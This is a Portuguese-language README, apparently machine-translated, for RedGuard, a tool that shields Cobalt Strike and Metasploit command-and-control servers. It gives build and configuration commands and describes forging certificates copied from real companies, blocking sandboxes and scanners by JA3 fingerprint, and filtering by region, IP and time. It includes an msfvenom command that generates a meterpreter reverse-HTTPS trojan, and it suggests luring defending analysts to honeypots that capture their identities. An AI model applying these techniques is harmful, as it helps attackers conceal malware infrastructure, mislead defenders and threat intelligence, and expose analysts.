RedGuard
RedGuard 24.06.18
Inglês | 中文文档
RedGuard, uma ferramenta derivada baseada na tecnologia de controle de fluxo frontal de comando e controle (C2), tem um design mais leve, interação de tráfego eficiente e compatibilidade confiável com o desenvolvimento na linguagem de programação go.À medida que os ataques cibernéticos estão em constante evolução, a equipe vermelha e azul Os exercícios tornam-se progressivamente mais complexos, o RedGuard foi projetado para fornecer uma melhor solução de ocultação do canal C2 para a equipe vermelha, que fornece o controle de fluxo para o canal C2, bloqueia o tráfego de análise "malicioso" e completa melhor toda a tarefa de ataque.
RedGuard é uma ferramenta de controle de fluxo frontal C2 que pode evitar detecção de Blue Team, AVS, EDR e Cyberspace Search Engine.
Você pode baixar e usar diretamente a versão compilada ou baixar o pacote go remotamente para compilação e execução independentes.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Conforme mostrado na figura abaixo, defina permissões executáveis e inicialize o RedGuard. A primeira execução gerará um arquivo de configuração no diretório inicial do usuário atual para obter uma configuração de função flexível. Nome do arquivo de configuração: .RedGuard_CobaltStrike.ini .
Conteúdo do arquivo de configuração:
As opções de configuração do certificado são principalmente para as informações de configuração da comunicação HTTPS criptografada por certificado SSL entre a amostra e a infraestrutura frontal C2. O proxy é usado principalmente para configurar as opções de controle no tráfego do proxy reverso. O uso específico será explicado em detalhes abaixo.
A comunicação HTTPS criptografada pelo certificado SSL será gerada no diretório cert-rsa/ no diretório onde o RedGuard é executado. Você pode iniciar e interromper as funções básicas da ferramenta modificando o arquivo de configuração (o número de série do certificado é gerado de acordo com o carimbo de data / hora, não se preocupe em estar associado a este recurso) . ,Basta renomeá-los para ca.crt e ca.key.
openssl x509 -in ca.crt -noout -text
As impressões digitais aleatórias do TLS JARM são atualizadas cada vez que o RedGuard é iniciado para evitar que isso seja usado para autenticar a infraestrutura C2.
No caso de usar seu próprio certificado, modifique o parâmetro HasCert no arquivo de configuração para true para evitar problemas normais de comunicação causados pela incompatibilidade do conjunto de criptografia CipherSuites com o certificado personalizado causado pela randomização de ofuscação JARM.
# Whether to use the certificate you have applied for true/false
HasCert = falseAo implantar uma frente de domínio para ocultar o tráfego C2, o nome de domínio acelerado não possui informações de certificado HTTPS por padrão. Obviamente, isso é problemático, portanto, você precisa prestar atenção à configuração do certificado ao configurar o nome de domínio. Essa também é a base padrão para determinar se a amostra é tráfego front-end de domínio.
[^Tencent Cloud]: Configuração do certificado da rede de distribuição de conteúdo
Acredito que todos terão algumas dúvidas após ler isto, Como obter o certificado configurado? Se você usar seu próprio aplicativo para obter o certificado, ele não atenderá ao efeito de anonimato que esperamos. Aqui você pode usar o certificado clonado para configuração. Tomando o Tencent Cloud como exemplo, constatou-se no teste que ele não verificaria a validade do certificado personalizado carregado. Podemos usar o mesmo certificado do site real do nome de domínio acelerado para falsificá-lo. Embora o certificado forjado não possa se comunicar ao substituir o certificado CS padrão em circunstâncias normais, ele não verificará a validade quando implantado na aceleração de site completo CDN do provedor de serviços de nuvem e RedGuard, e o tráfego interativo C2 pode se comunicar normalmente.
A seguir está o endereço do projeto existente no Github
https://github.com/virusdefender/copy-certEmbora o certificado no tráfego front-end do domínio de amostra tenha sido resolvido, do ponto de vista do mapeamento de rede em grande escala, nosso servidor C2 ainda está exposto ao mundo externo e ainda pode ser detectado e associado ao servidor C2 real . Neste momento, o RedGuard pode ser usado para modificar o certificado padrão frontal do C2 para obter o anonimato.
[^informações de inteligência]: Certificados TLS
O acima é o efeito do certificado forjado do servidor C2. Percebe-se que é confiável e não expirou na inteligência da comunidade Threatbook. A principal forma de obter o certificado digital é extraí-lo e atualizá-lo em tempo real durante a análise da amostra no sandbox da nuvem, mas obviamente não é verificado de forma eficaz. O valor de status verifica apenas o tempo de expiração. A verificação de confiança do certificado deve basear-se apenas na possibilidade de uma comunicação normal ser alcançada.
Deve-se observar que a inteligência do Threatbook não marca os endereços SNI e HOST de solicitações de amostra com inteligência de certificado. Na verdade, isso é para evitar falsos positivos. Eu acho que isso está correto. Como base importante para auxiliar os pesquisadores na análise, é melhor que a inteligência sobre ameaças seja incompleta do que apontar na direção errada, o que causará erros de julgamento na análise subsequente. Se configurar certificados para aceleração de site completo é forjar certificados para tráfego de comunicação, então configurar o certificado de pré-resposta do RedGuard C2 é forjar as características comportamentais do servidor C2 real implantado na rede pública para obter efeitos anti-mapeamento, que é muito necessário.
Extraia o número de série do certificado: 55e6acaed1f8a430f9a938c5 e execute a codificação HEX para obter a impressão digital do certificado TLS: 26585094245224241434632730821
| PI | Porta | Protocolo | Serviço | País | Cidade | Título | Tempo |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | Apache httpd | China | Suzhou | 百度图片-发现多彩世界 | 28/08/2023 |
| 223.113.xx.207 | 443 | https | JSP3 | China | Xuzhou | 403 Proibido | 28/08/2023 |
| 223.112.xx.48 | 443 | https | JSP3 | China | Xuzhou | 403 Proibido | 28/08/2023 |
| 223.113.xx.40 | 443 | https | JSP3 | China | Xuzhou | 403 Proibido | 28/08/2023 |
| 223.113.xx.31 | 443 | https | JSP3 | China | 405 Não permitido | 28/08/2023 | |
| 223.113.xx.206 | 443 | https | JSP3 | China | Xuzhou | 403 Proibido | 28/08/2023 |
Valor do resultado da pesquisa: 2291
Através do mapeamento do ciberespaço, foram descobertos 2.291 endereços IP independentes e a verificação confirmou que todos tinham certificados TLS pertencentes ao Baidu. É difícil determinar se se trata de uma comunicação maliciosa com base apenas no tráfego de comunicação. No entanto, os certificados TLS para as instalações de tráfego front-end de domínio + front-end C2 foram forjados, interferindo com sucesso no mapeamento espacial e na inteligência de ameaças, causando associação incorreta de informações, tornando as características de tráfego do invasor mais realistas e atingindo o objetivo de forjar normal tráfego de comunicação.
Mesmo que não haja processamento de encaminhamento oculto antes do recurso front-end de tráfego C2, é melhor alterar o certificado para RedGuard. Por padrão, qualquer biblioteca de impressões digitais formada pela identificação de impressões digitais de componentes comuns atualmente usados no mapeamento do ciberespaço utiliza o comportamento das características de configuração padrão de componentes comuns para identificação. Grupos diferentes podem apresentar características únicas diferentes durante esses processos de customização. É claro que a formação de impressões digitais requer uma certa compreensão do componente alvo, de modo a extrair as características padrão do alvo e formar uma impressão digital associada. Aqui, as características comportamentais do certificado RG são utilizadas para o mapeamento do ciberespaço, que está associado a um grande número de nós RG implantados na rede pública.
Não é surpreendente que o autor tenha conseguido extrair a impressão digital, mas ainda é recomendado que os usuários do RedGuard modifiquem as informações do certificado padrão e sejam um hacker profissional :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS Você pode usar o comando de parâmetro para modificar o arquivo de configuração. Claro, acho que pode ser mais conveniente modificá-lo manualmente com o vim.
Se você acessar diretamente a porta do proxy reverso, a regra de interceptação será acionada. Aqui você pode ver o diretório raiz da solicitação do cliente por meio do log de saída, mas como a solicitação não carrega as credenciais solicitadas que são o cabeçalho correto da solicitação HOST, a regra básica de interceptação é acionada e o tráfego é redirecionado para https:/ /360.net
Aqui está apenas uma demonstração da saída, o uso real pode ser executado em segundo plano por meio de nohup ./RedGuard & .
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Não é difícil ver na fatia acima que 360.net está em proxy para a porta local 8080, 360.com está em proxy para a porta local 4433 e o protocolo HTTP usado também é diferente. No uso real, é necessário prestar atenção ao tipo de protocolo do ouvinte. Consistente com as configurações aqui e defina o cabeçalho de solicitação HOST correspondente.
Conforme mostrado na figura acima, no caso de acesso não autorizado, as informações de resposta que obtemos também são as informações de retorno do site redirecionado.
No caso básico de interceptação acima, o método de interceptação padrão é usado, o tráfego ilegal é interceptado por redirecionamento. Ao modificar o arquivo de configuração, podemos alterar o método de interceptação e a URL do site redirecionado. Na verdade, em vez de chamar isso de redirecionamento, acho que seria mais apropriado descrevê-lo como sequestro, clonagem, já que o código de status da resposta retornado é 200 e a resposta é obtida de outro site para imitar o site clonado/sequestrado como o mais próximo possível.
Pacotes inválidos podem ser roteados incorretamente de acordo com três estratégias:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirecionar = URL no arquivo de configuração aponta para o endereço URL sequestrado. RedGuard suporta "hot change", o que significa que enquanto a ferramenta estiver sendo executada em segundo plano por meio de nohup , ainda podemos modificar o arquivo de configuração. O conteúdo é iniciado e interrompido em tempo real.
./RedGuard -u --drop true Observe que ao modificar o arquivo de configuração através da linha de comando, a opção -u não deve estar faltando, caso contrário o arquivo de configuração não poderá ser modificado com sucesso. Se precisar restaurar as configurações padrão do arquivo de configuração, você só precisa inserir ./RedGuard -u .
Outro método de interceptação é o DROP, que fecha diretamente a resposta da comunicação HTTP e é habilitado pela configuração DROP = true . O efeito de interceptação específico é o seguinte:
Pode-se observar que o controle de fluxo frontal C2 fecha diretamente a resposta a solicitações ilegais sem o código de resposta HTTP. Na detecção do mapeamento do ciberespaço, o método DROP pode ocultar a abertura de portas. O efeito específico pode ser visto no seguinte caso. analisar.
Acredito que muitos usuários estarão interessados em sequestrar resposta . O princípio geral é que quando o cliente inicia uma solicitação ao servidor C2 real, por não atender às regras de entrada, o servidor C2 obterá o site normal especificado e retornará suas informações de resposta. Portanto, do final da solicitação de efeito, parece estar interagindo com o serviço IP, mas na verdade, o servidor C2 intermediário é usado como servidor proxy para interagir com o site normal, e é difícil encontrar anormalidades. Se atender à solicitação de entrada, a solicitação de tráfego será encaminhada para a porta de escuta do serviço C2 real para interação, e a porta de escuta real foi filtrada pelo firewall da nuvem, permitindo apenas acesso local e não pode ser acessada diretamente de fora . Portanto, do ponto de vista da abertura da porta externa, apenas a porta HTTP/S está aberta e, de certa forma, esta é de fato a porta online do C2.
[^Diagrama de fluxo de tráfego]: Processo de interação de tráfego do servidor C2
Nos dados de mapeamento do ciberespaço, o código de resposta da porta aberta HTTP/S do IP é 200, não um salto 307, que é mais autêntico.
O certificado HTTPS tem o mesmo efeito que o certificado forjado mencionado acima e ambos são impressões digitais de certificados reais.
Acredito que muitas equipes vermelhas usarão amplamente métodos de ocultação, como funções de nuvem/frontamento de domínio no processo de combate a projetos. Porém, no confronto ofensivo e defensivo de hoje, os dois métodos de ocultação acima apresentam um problema fatal, ou seja, podem se conectar diretamente ao serviço C2. O resultado é, sem dúvida, que quando captamos o endereço da função de nuvem ou o IP/HOST interativo do domínio fronteiriço, podemos acessar diretamente o serviço de escuta C2 e provar que se trata de uma instalação de ataque.
Como o tráfego pode chegar diretamente ao C2, vale a pena considerar se o dispositivo de segurança pode realizar a varredura CS no tráfego que não corresponde ao SNI e ao HOST para identificar se é tráfego malicioso. O mesmo se aplica a funções de nuvem ou ambientes sandbox. Além do lado da amostra, também pode haver mais processos de análise no nível de tráfego.
Após a resposta ao sequestro, o acesso direto ao serviço HTTP pode interagir normalmente com o site, mas o Cscan não pode verificar as informações da amostra porque o tráfego não pode alcançar o ouvinte C2 real. A interação C2 normal só é possível quando as características de iniciação de tráfego são atendidas. No entanto, há um problema. O script de digitalização C2 precisa estar em conformidade com as regras de entrada, o que coloca um certo teste na capacidade de codificação dos analistas da equipe azul. O script de digitalização atualmente público está na forma de Nmap.
O JA3 fornece uma impressão digital mais reconhecível para comunicações criptografadas entre clientes e servidores. Ele usa impressões digitais TLS para identificar negociações TLS entre clientes e servidores mal-intencionados, conseguindo assim o efeito de associação de clientes mal-intencionados. Essa impressão digital é fácil de gerar em qualquer plataforma usando criptografia MD5 e atualmente é amplamente utilizada em inteligência de ameaças. Por exemplo, pode ser visto em relatórios de análise de amostras de algumas sandboxes para comprovar a correlação entre diferentes amostras.
Se pudermos dominar o JA3(S) do servidor C2 e do cliente malicioso, mesmo que o tráfego seja criptografado e o endereço IP ou nome de domínio do servidor C2 seja desconhecido, ainda poderemos identificar a negociação TLS entre o cliente malicioso e o servidor por meio de impressão digital TLS. Acredito que todos podem pensar nisso depois de ver isso, que também é uma medida para lidar com métodos de ocultação de encaminhamento de tráfego, como fronting de domínio, proxy reverso e função de nuvem. Por meio da identificação de amostra de execução de sandbox e comunicação C2, negociação TLS e geração de impressões digitais JA3(S), que podem ser aplicadas à inteligência de ameaças para obter rastreamento auxiliar.
Anunciei essa tecnologia em 2022. Ao testar o ambiente sandbox de microetapas, descobri que embora o número de IPs de saída solicitando interação fosse pequeno, não era preciso identificar o sandbox por IP, e esse era um recurso que era facilmente alterado , mas sua impressão digital JA3 era única no mesmo ambiente de sistema. Mais tarde, recebi feedback de que o sandbox havia concluído a randomização de impressões digitais, mas testes recentes descobriram que ele não foi totalmente implementado. Ainda espero enfrentar o problema das impressões digitais no trânsito.
Do ponto de vista do sandbox da nuvem, ao monitorar a interação do tráfego entre a amostra e o servidor C2, a impressão digital JA3(S) é gerada para identificar o cliente malicioso e assim fazer uma associação. Pensando ao contrário, como uma facilidade de controle de tráfego na frente do C2, também podemos realizar tais operações para obter a impressão digital JA3 da solicitação do cliente. Ao depurar diferentes ambientes sandbox, essas impressões digitais JA3 são obtidas para formar uma biblioteca de impressões digitais, formando assim uma estratégia básica de interceptação.
Imagine que, no processo de interação encenada com o Trojan, o carregador primeiro extrairá o shellcode do endereço remoto. Então, quando o tráfego identificar que a solicitação atende às características do sandbox da nuvem da biblioteca de impressões digitais JA3, ele interceptará as solicitações subsequentes. Se o shellcode não puder ser obtido, todo o processo de carregamento não poderá ser concluído e a sandbox naturalmente não poderá analisá-lo completamente. Se o ambiente for um Trojan sem estágio, a análise do sandbox também não poderá ser finalmente carregada no servidor C2. Acredito que todo mundo acordou de um sono e encontrou muitos registros antigos de sandbox pendurados no C2. É claro que, em um estado ideal, podemos identificar diferentes ambientes sandbox, o que depende principalmente da confiabilidade da biblioteca de impressões digitais.
Durante o teste, descobri que depois de adicionar a impressão digital JA3 da biblioteca de solicitação de linguagem ZoomEye GO à biblioteca de impressão digital e monitorar o tráfego de solicitação RG, a maioria das solicitações acionou a interceptação básica do recurso da biblioteca de impressão digital JA3. Aqui eu acho que a linguagem subjacente do produto de levantamento e mapeamento faz parte da tarefa de digitalização implementada na linguagem GO. Através de um link, a lógica de varredura composta por diferentes linguagens subjacentes finalmente completou toda a tarefa de varredura. Isso também explica por que a digitalização de alguns produtos de levantamento e mapeamento acionou o recurso de interceptação de impressão digital JA3 da biblioteca de solicitação de linguagem GO. O princípio da regra de reconhecimento é o mesmo da impressão digital da sandbox na nuvem. Ambos usam a exclusividade do ambiente do cliente de solicitação e da biblioteca de solicitações. Ao contrário do lado do PC, o ambiente de solicitação desses produtos basicamente não será alterado à vontade, o que também nos permite capturar e interceptar a impressão digital do lado do tráfego , então podemos pensar se o dispositivo de segurança pode usar a impressão digital JA3 da detecção ativa tráfego como base para interceptação? É claro que, quando o tráfego comercial é grande, pode haver uma certa quantidade de alarmes falsos. Aqui propomos apenas requisitos de produto teoricamente viáveis.
Os usuários do PS também podem fazer upload de amostras para a sandbox para obter e verificar suas impressões digitais JA3 e adicioná-las à biblioteca de impressões digitais. Deve-se notar que não faz sentido se o sandbox apenas alterar a impressão digital JA3 para não a impressão digital acima. O que realmente precisa ser resolvido é que cada vez que o sandbox realiza uma análise dinâmica, não é a mesma impressão digital, e suas alterações precisam atender aos requisitos de não se repetirem tanto quanto possível. Se a taxa de repetição for alta, ela ainda será usada como impressão digital.
Atualmente oferece suporte à identificação e interceptação do sandbox da nuvem do Threatbook como uma demonstração de efeito
A configuração dos dois parâmetros a seguir no arquivo de configuração tem o efeito de alterar a porta do proxy reverso. Recomenda-se usar a ocultação de porta padrão, desde que não entre em conflito com a porta atual do servidor. Se precisar ser modificado, preste atenção para que o : do valor do parâmetro não falte
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80O comportamento de rastreamento da equipe azul é analisado por meio do log de interceptação da solicitação de destino, que pode ser usado para rastrear eventos/problemas de conexão entre pares. O arquivo de log é gerado no diretório onde o RedGuard está sendo executado, nome do arquivo: RedGuard.log .
Esta seção descreve como configurar o RG para obter o endereço IP real de uma solicitação. Basta adicionar a seguinte configuração ao perfil do dispositivo C2, o endereço IP real do alvo é obtido através do cabeçalho de solicitação X-Forwarded-For.
http-config {
set trust_x_forwarded_for " true " ;
} O método de configuração usa AllowLocation = Jinan, Beijing como exemplo. Observe que o RedGuard fornece duas APIs para atribuição reversa de IP, uma para usuários na China continental e outra para usuários na China fora do continente, e pode atribuir dinamicamente qual API usar de acordo com o nome de domínio geográfico de entrada, se o alvo for a China Então use chinês para a região definida, caso contrário, use nomes de lugares em inglês. Recomenda-se que os usuários da China continental utilizem nomes chineses, para que a precisão da atribuição e a velocidade de resposta da API obtida pela consulta reversa sejam as melhores escolhas.
PS Usuários da China continental, não usem AllowLocation = Jinan,beijing desta forma! Não faz muito sentido, o primeiro caractere do valor do parâmetro determina qual API usar!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
Antes de decidir restringir a região, você pode consultar manualmente o endereço IP com o seguinte comando.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryAqui decidimos permitir que apenas a região de Shandong fique online
Tráfego legal:
Área de solicitação ilegal:
Quanto às conexões de restrições geográficas, pode ser mais prático no atual exercício ofensivo e defensivo. Basicamente, os alvos das restrições de exercícios ofensivos e defensivos provinciais e municipais estão em áreas designadas, e o tráfego solicitado por outras áreas pode naturalmente ser ignorado. Esta função do RedGuard pode não apenas limitar uma única região, mas também limitar múltiplas regiões de conexão de acordo com províncias e cidades, e interceptar o tráfego solicitado por outras regiões.
Além da lista negra de IP integrada de fornecedores de segurança cibernética no RedGuard, também podemos restringir de acordo com o método da lista branca. Na verdade, também sugiro que durante a penetração na web, possamos restringir os endereços IP online de acordo com a lista de permissões para dividir vários endereços IP.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Conforme mostrado na figura acima, restringimos para permitir apenas conexões 127.0.0.1, então o tráfego de solicitação de outros IPs será bloqueado.
Esta função é mais interessante. Definir os seguintes valores de parâmetro no arquivo de configuração significa que o recurso de controle de tráfego só pode se conectar das 8h00 às 21h00. O cenário de aplicação específico aqui é que durante o tempo de ataque especificado, permitimos a comunicação com C2 e permanecemos em silêncio em outros momentos. Isso também permite que as equipes vermelhas tenham uma boa noite de sono sem se preocupar com alguma equipe azul de plantão à noite ficar entediada para analisar seu Trojan e depois acordar com algo indescritível, hahaha.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard usa o perfil Maleável C2. Ele analisa a seção do arquivo de configuração extensível fornecida para entender o contrato e passar apenas as solicitações de entrada que o satisfazem, enquanto engana outras solicitações. Partes como http-stager , http-get e http-post e seus correspondentes uris, cabeçalhos, User-Agent etc. são usados para distinguir solicitações de beacon legais de ruído irrelevante da Internet ou pacote IR/AV/EDR fora dos limites.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
O perfil escrito por 风起 é recomendado para usar:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
No Cobalt Strike 4.7+, o Teamserver remove automaticamente o cabeçalho Content-Encoding sem qualquer notificação, causando potencialmente uma violação maleável de http-(get|post).server. Além disso, se não houver Content-type na mensagem de resposta do CS Server, mas após ser encaminhado pelo RedGuard, o Content-Type é adicionado ao cabeçalho da mensagem de resposta, fazendo com que cf armazene a página em cache e cause interferência.
Após o RedGuard 23.08.21, foi adicionada a função de customização do cabeçalho do pacote de resposta. Os usuários podem personalizar e excluir as informações do cabeçalho no pacote de resposta, modificando o arquivo de configuração para resolver o problema de análise incorreta.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 atualizou a função de reconhecimento de impressão digital de amostra de trojan, que se baseia na personalização do campo de cabeçalho HTTP do perfil maleável como o “ valor de sal de amostra ” da impressão digital para identificar exclusivamente o mesmo ouvinte C2 /host de cabeçalho. Além disso, a impressão digital da amostra do trojan gerada pela combinação de outros campos de solicitação relevantes pode ser usada para detectar a vivacidade da amostra personalizada. De acordo com os requisitos da tarefa do invasor, a função de reconhecimento de impressão digital de amostra de trojan pode executar “ operação offline ” nas amostras que você deseja desabilitar, para melhor evitar a análise de tráfego malicioso da comunicação da amostra e a análise de aquisição de carga útil do ataque PAYLOAD da amostra encenada e fornecer mais medidas furtivas personalizadas para o invasor.
Para diferentes ouvintes C2, podemos fornecer diferentes aliases para as configurações do Perfil Maleável, personalizar os nomes dos campos e valores dos cabeçalhos relacionados como o valor salt da amostra e usá-lo como uma das distinções entre diferentes amostras. O código a seguir é para fins ilustrativos e, em cenários reais de ataque e defesa, podemos usar campos de pacote de solicitação HTTP mais realistas como base para julgamento.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}Tráfego HTTP
Conforme mostrado na figura, usamos o valor Salt da amostra acima e o campo Host como base para a geração de impressão digital. Aqui sabemos:
De acordo com a emenda dos valores acima, a impressão digital da amostra é obtida da seguinte forma:
22e6db08c5ef1889d64103a290ac145cAgora que conhecemos o exemplo de impressão digital acima, podemos definir o campo de cabeçalho personalizado e o exemplo de impressão digital no arquivo de configuração do RedGuard para interceptação de tráfego malicioso. Vale ressaltar que podemos estender múltiplas impressões digitais de amostra, separadas por vírgulas, e o FieldName precisa ser consistente com o nome do campo Header configurado no Perfil Maleável
Como o arquivo de configuração do RedGuard é uma configuração quente, não precisamos reiniciar o RedGuard para interceptar as amostras que queremos desabilitar. Quando quisermos que a amostra seja reativada, só precisamos excluir a impressão digital da amostra relevante do arquivo de configuração do RedGuard.
Efeito de demonstração:
Se houver um problema com o método acima, o servidor C2 online real não pode ser interceptado diretamente pelo firewall, porque a solicitação real de balanceamento de carga no proxy reverso é feita pelo IP do fabricante do servidor em nuvem.
No combate individual, podemos definir regras de interceptação no firewall do servidor em nuvem.
Em seguida, defina o endereço apontado pelo proxy como https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }E como nossa verificação básica é baseada no cabeçalho de solicitação HTTP HOST, o que vemos no tráfego HTTP também é o mesmo que o método de fronting de domínio, mas o custo é menor e apenas um servidor em nuvem é necessário.
Para as configurações do ouvinte, a HTTPS Port (C2) é definida como a porta do proxy reverso RedGuard e a HTTPS Port (Bind) é a porta de conexão real da máquina local.
Gera Trojan
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeClaro, como um cenário de fronting de domínio, você também pode configurar seu LHOST para usar qualquer nome de domínio do CDN do fabricante e prestar atenção ao configurar o HttpHostHeader para corresponder ao RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true É importante observar que a configuração OverrideRequestHost deve ser definida como true . Isso se deve a um recurso na maneira como o Metasploit lida com solicitações HTTP/S recebidas por padrão ao gerar configuração para cargas de teste. Por padrão, o Metasploit usa o valor do cabeçalho Host da solicitação recebida (se presente) para configuração de segundo estágio em vez do parâmetro LHOST . Portanto, o estágio de compilação está configurado para enviar solicitações diretamente para seu nome de domínio oculto porque o CloudFront passa seu domínio interno no cabeçalho Host das solicitações encaminhadas. Claramente não é isso que estamos pedindo. Usando o valor de configuração OverrideRequestHost , podemos forçar o Metasploit a ignorar o cabeçalho Host de entrada e, em vez disso, usar o valor de configuração LHOST apontando para o domínio de origem do CloudFront.
O ouvinte é configurado para a porta de linha real que corresponde ao endereço para o qual o RedGuard realmente encaminha.
RedGuard recebeu a solicitação:
Conforme mostrado na figura abaixo, quando nossa regra de interceptação é definida como DROP, a sonda do sistema de mapeamento espacial irá sondar o diretório / da nossa porta de proxy reverso várias vezes. Em teoria, o pacote de solicitação enviado pelo mapeamento é falsificado como tráfego normal, conforme mostrado. Porém, após várias tentativas, como a assinatura do pacote de solicitação não atende aos requisitos de liberação do RedGuard, todas são respondidas por Close HTTP. O efeito final exibido na plataforma de levantamento e mapeamento é que a porta do proxy reverso não está aberta.
O tráfego mostrado na figura abaixo significa que quando a regra de interceptação estiver definida como Redirecionar, descobriremos que quando a sonda de mapeamento receber uma resposta, ela continuará a varrer nosso diretório. O User-Agent é aleatório, o que parece estar de acordo com as solicitações de tráfego normais, mas ambos foram bloqueados com sucesso.
Plataforma de mapeamento - Efeito do modo de interceptação de resposta de sequestro:
Plataforma de levantamento e mapeamento - efeito da interceptação de redirecionamento:
RedGuard suporta fronting de domínio. Na minha opinião, existem duas formas de apresentação. Uma é usar o método tradicional de fronting de domínio, que pode ser alcançado definindo a porta do nosso proxy reverso no endereço de volta à origem da aceleração de todo o site. Na base original, a função de controle de tráfego é adicionada ao fronting do domínio e pode ser redirecionado para o URL especificado de acordo com a configuração que definimos para torná-lo mais real. Deve-se observar que a configuração RedGuard do cabeçalho HTTPS HOST deve ser consistente com o nome de domínio da aceleração de todo o site.
Em um combate único, sugiro que o método acima possa ser usado e, nas tarefas da equipe, ele também pode ser alcançado pelo "domínio" auto-construído ".
No domínio auto-construído em frente, mantenha várias portas proxy reversas consistentes e o cabeçalho do host aponta consistentemente para a porta de escuta do servidor C2 real do back-end. Dessa forma, nosso servidor C2 real pode estar bem oculto, e o servidor do proxy reverso só pode abrir a porta proxy, configurando o firewall.
Isso pode ser alcançado através de vários servidores de nós e configurar vários IPs de nossos nós no IP on -line do ouvinte CS HTTPS.
O princípio da captura de honeypot malicioso depende principalmente da resposta de seqüestro ou da função de redirecionamento da orientação de tráfego RG, que orienta os analistas que estão avaliando instalações C2 para o endereço da caixa de areia do honeypot. No estado de resposta a seqüestro, a RG direcionará o tráfego de solicitação que não atenda às regras de entrada para os ativos do Honeypot. Ao encontrar alguns honeypots mais poderosos (como aqueles que capturam os números de telefone celular do operador), o cliente iniciará uma solicitação de acordo com a resposta do site de destino e será seqüestrado pelo JSONP para obter informações relevantes.
Imagine que, quando os analistas acessarem diretamente a porta on -line C2, eles serão direcionados ao ativo do Honeypot, que sem dúvida causarão perturbações aos analistas. Os analistas são direcionados maliciosamente a solicitar o ativo do Honeypot, e o final do monitoramento do Honeypot captura as informações relevantes dos analistas da equipe azul e traça o erro. Se a meta de análise estiver errada desde o início, como você pode obter um bom resultado? Sem dúvida, isso causará atrito interno sério para a equipe de defesa.
Aqui está um conjunto de impressões digitais zoomeye associadas a ativos do Honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
A maneira de alcançar esse efeito é muito simples, você só precisa alterar os valores -chave relevantes no arquivo de configuração RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPS Eu acredito que todo mundo sabe como configurá -lo sem explicação :)
Esse método é um tipo de truque astuto, que se reflete mais na idéia. Se for utilizado ainda mais, a função de captura do Honeypot poderá ser implantada no recurso de controle de tráfego front-end C2 e, em seguida, o tráfego interativo pode ser direcionado. O efeito é que os dados do cache do navegador do cliente podem ser obtidos como um honeypot tradicional. No entanto, pessoalmente sinto que na versão pública, pode não ser significativa aplicá -la ao ataque atual e ao confronto de defesa. Não faz sentido para o invasor capturar as informações sociais do analista da equipe azul e depois rastreá -las. Obviamente, dando um passo para trás, isso pode tornar a análise das amostras C2 mais perigosas. Quando o atacante das indústrias negras e cinzas pode obter a identidade virtual do analista, se as identidades virtuais e reais puderem ser convertidas, ainda é relativamente perigoso. Então eu acho que pesquisas e análises futuras devem ser mais cautelosas e vigilantes.
